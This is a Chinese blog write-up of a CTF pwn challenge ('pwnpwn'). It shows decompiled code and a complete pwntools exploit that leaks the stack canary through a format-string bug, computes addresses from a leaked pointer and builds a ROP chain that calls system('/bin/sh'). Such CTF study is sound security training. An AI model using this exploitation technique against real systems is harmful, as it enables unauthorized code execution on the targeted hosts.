pwnpwn(第四届“强网”拟态防御国际精英挑战赛--pwn)

这是一道‘强网’拟态防御线上比赛的一道题目。当时没有做出来,现在来记录一下。

首先这是一道 canary 加libc的题目。

 

 保护全开,对于青铜段位的我来说可是下了一跳。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-14h]
  unsigned __int64 (*v5)(); // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(*&argc, argv, envp);
  puts("welcome to mimic world,try something");
  do
  {
    _isoc99_scanf("%d", &v4);
    if ( v4 == 1 )
    {
      puts("let us give you some trick");
      v5 = vuln;
      printf("%p\n", vuln);
    }
    if ( v4 == 2 )
      vuln();
  }
  while ( v4 != 3 );
  return 0;
}

这是主函数,我们再来看看vuln函数

unsigned __int64 vuln()
{
  signed int i; // [rsp+Ch] [rbp-74h]
  char buf; // [rsp+10h] [rbp-70h]
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("hello");
  for ( i = 0; i <= 1; ++i )
  {
    read(0, &buf, 0x200uLL);
    printf(&buf, &buf);
  }
  return __readfsqword(0x28u) ^ v3;
}

输入一就会打印出vuln函数的地址,程序由于开启的PIE所以我们需要依靠这个地址来计算libc的地址。要接收这个地址。

如果我们输入2,就会进入vuln函数,我们可以看到vuln函数存在栈溢出漏洞和格式化字符串漏洞。程序开启了canary保护所以我们需要通过printf函数打印出canary的值

从而绕过保护。

 

 我们可以看到程序中有 /bin/sh字符串。注意ida中的地址都是相对偏移量,不是真正的地址。所以前面打印出的vuln的地址就有很大用处了。

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

r=process('./pwnpwn')


#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()



sla('welcome to mimic world,try something\n',"1")

ru('0x')
vul_addr=int(rc(12),16)#接收vuln函数的地址
libc_base=vul_addr-0x9b9 #0x9b9是vuln函数的相对偏移,在ida中可以看到
bin_sh=libc_base+0x202010#计算/bin/sh的真实地址 pop_rdi=libc_base+0xb83#ROPgadget 可以查到 system_addr=libc_base+0x951 #这里0x951是call system 汇编指令的相对偏移 sl("2") sa("hello", "a" * 0x69)#通过覆盖canary最一位的00让printf函数打印出canary的值 ru('a'*0x69) canary = u64('\x00' + rc(7))#接收canary sl("a" * 0x68 + p64(canary) + 'a' * 8 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)) r.interactive()

 

posted @ 2021-10-31 19:44  Mua_Uncle_W  阅读(280)  评论(0编辑  收藏  举报